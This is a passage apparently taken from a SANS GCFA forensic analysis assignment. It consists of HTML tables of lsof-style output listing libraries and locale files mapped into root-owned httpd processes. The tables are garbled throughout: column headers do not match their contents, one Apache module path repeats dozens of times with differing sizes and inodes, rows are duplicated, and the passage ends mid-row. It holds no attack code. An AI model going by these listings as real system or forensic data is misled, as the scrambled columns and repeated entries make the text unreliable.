</tr>
<tr>
<td>File Path</td>
<td>User</td>
<td>Mode</td>
<td>Size</td>
<td>Permissions</td>
<td></td>
</tr>
<tr>
<td>-----------</td>
<td>------</td>
<td>------</td>
<td>------</td>
<td>-------------</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/apache/mod_headers.so</td>
<td>REG</td>
<td>3,2</td>
<td>8261</td>
<td>229509</td>
<td></td>
</tr>
<tr>
<td>/lib/libnsl</td>
<td>REG</td>
<td>3,2</td>
<td>14929</td>
<td>229516</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/apache/mod_headers.so</td>
<td>REG</td>
<td>3,2</td>
<td>27415</td>
<td>229519</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/apache/mod_headers.so</td>
<td>REG</td>
<td>3,2</td>
<td>18365</td>
<td>229523</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/apache/mod_headers.so</td>
<td>REG</td>
<td>3,2</td>
<td>19959</td>
<td>229525</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/apache/mod_headers.so</td>
<td>REG</td>
<td>3,2</td>
<td>58866</td>
<td>229527</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/apache/mod_headers.so</td>
<td>REG</td>
<td>3,2</td>
<td>27836</td>
<td>229529</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/apache/mod_headers.so</td>
<td>REG</td>
<td>3,2</td>
<td>14940</td>
<td>229531</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/apache/mod_headers.so</td>
<td>REG</td>
<td>3,2</td>
<td>6924</td>
<td>229533</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/apache/mod_headers.so</td>
<td>REG</td>
<td>3,2</td>
<td>15974</td>
<td>229535</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/apache/mod_headers.so</td>
<td>REG</td>
<td>3,2</td>
<td>8541</td>
<td>229537</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/apache/mod_headers.so</td>
<td>REG</td>
<td>3,2</td>
<td>8770</td>
<td>229539</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/apache/mod_headers.so</td>
<td>REG</td>
<td>3,2</td>
<td>10617</td>
<td>229541</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/apache/mod_headers.so</td>
<td>REG</td>
<td>3,2</td>
<td>53189</td>
<td>229543</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/apache/mod_headers.so</td>
<td>REG</td>
<td>3,2</td>
<td>10034</td>
<td>229545</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/apache/mod_headers.so</td>
<td>REG</td>
<td>3,2</td>
<td>11985</td>
<td>229547</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/apache/mod_headers.so</td>
<td>REG</td>
<td>3,2</td>
<td>8486</td>
<td>229549</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/apache/mod_headers.so</td>
<td>REG</td>
<td>3,2</td>
<td>9304</td>
<td>229551</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/apache/mod_headers.so</td>
<td>REG</td>
<td>3,2</td>
<td>9900</td>
<td>229553</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/apache/mod_headers.so</td>
<td>REG</td>
<td>3,2</td>
<td>8261</td>
<td>229555</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/apache/mod_headers.so</td>
<td>REG</td>
<td>3,2</td>
<td>10176</td>
<td>229557</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/apache/mod_headers.so</td>
<td>REG</td>
<td>3,2</td>
<td>29407</td>
<td>400406</td>
<td></td>
</tr>
<tr>
<td>/usr/kerberos/lib/libcom_err.so.3.0</td>
<td>REG</td>
<td>3,2</td>
<td>11174</td>
<td>63541</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/apache/mod_headers.so</td>
<td>REG</td>
<td>3,2</td>
<td>122952</td>
<td>229559</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/apache/mod_headers.so</td>
<td>REG</td>
<td>3,2</td>
<td>210094</td>
<td>229561</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/apache/mod_headers.so</td>
<td>REG</td>
<td>3,2</td>
<td>1453198</td>
<td>425001</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/apache/mod_headers.so</td>
<td>REG</td>
<td>3,2</td>
<td>8621</td>
<td>440043</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/apache/mod_headers.so</td>
<td>REG</td>
<td>3,2</td>
<td>20666</td>
<td>114263</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/apache/mod_headers.so</td>
<td>REG</td>
<td>3,2</td>
<td>29</td>
<td>130312</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
<td>REG</td>
<td>3,2</td>
<td>65</td>
<td>130314</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_TELEPHONE</td>
<td>REG</td>
<td>3,2</td>
<td>65</td>
<td>130316</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
<td>REG</td>
<td>3,2</td>
<td>161</td>
<td>130318</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_NAME</td>
<td>REG</td>
<td>3,2</td>
<td>83</td>
<td>130320</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_PAPER</td>
<td>REG</td>
<td>3,2</td>
<td>40</td>
<td>130322</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_MONEY</td>
<td>REG</td>
<td>3,2</td>
<td>58</td>
<td>179360</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_MONETARY</td>
<td>REG</td>
<td>3,2</td>
<td>292</td>
<td>130324</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>REG</td>
<td>3,2</td>
<td>22592</td>
<td>130326</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>REG</td>
<td>3,2</td>
<td>89424</td>
<td>63507</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>REG</td>
<td>3,2</td>
<td>1561021</td>
<td>229561</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>REG</td>
<td>3,2</td>
<td>35340</td>
<td>63567</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>REG</td>
<td>3,2</td>
<td>28138</td>
<td>66033</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>REG</td>
<td>3,2</td>
<td>5300</td>
<td>66039</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>REG</td>
<td>3,2</td>
<td>426442</td>
<td>66304</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>REG</td>
<td>3,2</td>
<td>131560</td>
<td>65396</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>REG</td>
<td>3,2</td>
<td>59778</td>
<td>65358</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>REG</td>
<td>3,2</td>
<td>146819</td>
<td>66089</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>REG</td>
<td>3,2</td>
<td>924879</td>
<td>63562</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>REG</td>
<td>3,2</td>
<td>207008</td>
<td>63563</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>REG</td>
<td>3,2</td>
<td>68925</td>
<td>63535</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>REG</td>
<td>3,2</td>
<td>153026</td>
<td>66042</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>REG</td>
<td>3,2</td>
<td>290511</td>
<td>65311</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>REG</td>
<td>3,2</td>
<td>215482</td>
<td>65386</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>REG</td>
<td>3,2</td>
<td>196866</td>
<td>66287</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>REG</td>
<td>3,2</td>
<td>717774</td>
<td>65410</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>REG</td>
<td>3,2</td>
<td>66646</td>
<td>65523</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>REG</td>
<td>3,2</td>
<td>189626</td>
<td>65384</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>REG</td>
<td>3,2</td>
<td>295833</td>
<td>65382</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>REG</td>
<td>3,2</td>
<td>140418</td>
<td>65389</td>
<td></td>
</tr>
<tr>
<td>Process</td>
<td>User</td>
<td>Mode</td>
<td>Size</td>
<td>Address</td>
<td></td>
</tr>
<tr>
<td>----------</td>
<td>----------</td>
<td>------</td>
<td>-------</td>
<td>---------------</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>11774</td>
<td>/lib/libutil-2.2.5.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>122952</td>
<td>/usr/lib/apache/libdav.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>210094</td>
<td>/usr/lib/apache/libssl.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>20666</td>
<td>/usr/lib/gconv/gconv-modules.cache</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>29</td>
<td>/lib/libutil-2.2.5.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>1453190</td>
<td>/usr/lib/php4/imap.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>8621</td>
<td>/usr/lib/kerberos/libcom_err.so.3.0</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>20666</td>
<td>/usr/lib/gconv/gconv-modules.cache</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>29</td>
<td>/lib/libutil-2.2.5.so</td>
<td></td>
</tr>
</tbody>
</table>

Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

As part of GIAC practical repository. Author retains full rights.

© SANS Institute 2004, Author retains full rights.
<table>
<thead>
<tr>
<th>User</th>
<th>FD</th>
<th>Type</th>
<th>Mode</th>
<th>PID</th>
<th>Start Time</th>
<th>File Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>root</td>
<td>19369</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>2</td>
<td>/usr/lib/apache/mod_dir.so</td>
</tr>
<tr>
<td>root</td>
<td>19369</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>5</td>
<td>/usr/lib/apache/mod_log_referer.so</td>
</tr>
<tr>
<td>root</td>
<td>19369</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>18</td>
<td>/usr/lib/apache/mod_log_config.so</td>
</tr>
<tr>
<td>root</td>
<td>19369</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>25</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>root</td>
<td>19369</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>30</td>
<td>/usr/lib/apache/mod_log_config.so</td>
</tr>
<tr>
<td>root</td>
<td>19369</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>37</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>root</td>
<td>19369</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>44</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>root</td>
<td>19369</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>51</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>root</td>
<td>19369</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>58</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>root</td>
<td>19369</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>65</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>root</td>
<td>19369</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>72</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>root</td>
<td>19369</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>79</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>root</td>
<td>19369</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>86</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>root</td>
<td>19369</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>93</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>root</td>
<td>19369</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>100</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>root</td>
<td>19369</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>107</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>root</td>
<td>19369</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>114</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>root</td>
<td>19369</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>121</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>root</td>
<td>19369</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>128</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>root</td>
<td>19369</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>135</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>root</td>
<td>19369</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>142</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>root</td>
<td>19369</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>149</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>root</td>
<td>19369</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>156</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>root</td>
<td>19369</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>163</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>root</td>
<td>19369</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>170</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>root</td>
<td>19369</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>177</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>root</td>
<td>19369</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>184</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>root</td>
<td>19369</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>191</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>root</td>
<td>19369</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>198</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>root</td>
<td>19369</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>205</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>root</td>
<td>19369</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>212</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>root</td>
<td>19369</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>219</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>root</td>
<td>19369</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>226</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>root</td>
<td>19369</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>233</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>root</td>
<td>19369</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>240</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>root</td>
<td>19369</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>247</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>root</td>
<td>19369</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>254</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>root</td>
<td>19369</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>261</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>root</td>
<td>19369</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>268</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>root</td>
<td>19369</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>275</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>root</td>
<td>19369</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>282</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>root</td>
<td>19369</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>289</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>root</td>
<td>19369</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>296</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>root</td>
<td>19369</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>303</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>root</td>
<td>19369</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>310</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
</tbody>
</table>

Kevin Miller - Sans GCFA Assignment – v1.4
Page 158

© SANS Institute 2004,
As part of GIAC practical repository. Author retains full rights.
<table>
<thead>
<tr>
<th>User</th>
<th>PID</th>
<th>Type</th>
<th>Status</th>
<th>Address</th>
<th>Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>27836</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>14940</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>6924</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>15974</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8770</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>53189</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>10034</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>11985</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8486</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>11985</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8261</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>10176</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>122952</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>11174</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>210094</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8621</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>20666</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>65</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>65</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>22592</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>89424</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1561021</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>35340</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>153026</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>131560</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>59778</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>146819</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>140418</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>153026</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>717774</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>66646</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>79725</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>215482</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>20666</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>60</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>22592</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>89424</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1561021</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>35340</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>153026</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>717774</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>66646</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>79725</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>215482</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>20666</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>60</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>22592</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>89424</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1561021</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>35340</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>153026</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>717774</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>66646</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>79725</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>215482</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>20666</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>60</td>
</tr>
<tr>
<td>httpd 19370</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>22592</td>
</tr>
<tr>
<td>Command</td>
<td>PID</td>
<td>Type</td>
<td>Flags</td>
<td>Flags</td>
<td>Size</td>
</tr>
<tr>
<td>--------------</td>
<td>------</td>
<td>--------</td>
<td>-------</td>
<td>-------</td>
<td>--------</td>
</tr>
<tr>
<td>httpd</td>
<td>19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
</tr>
<tr>
<td>httpd</td>
<td>19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
</tr>
<tr>
<td>httpd</td>
<td>19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
</tr>
<tr>
<td>httpd</td>
<td>19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
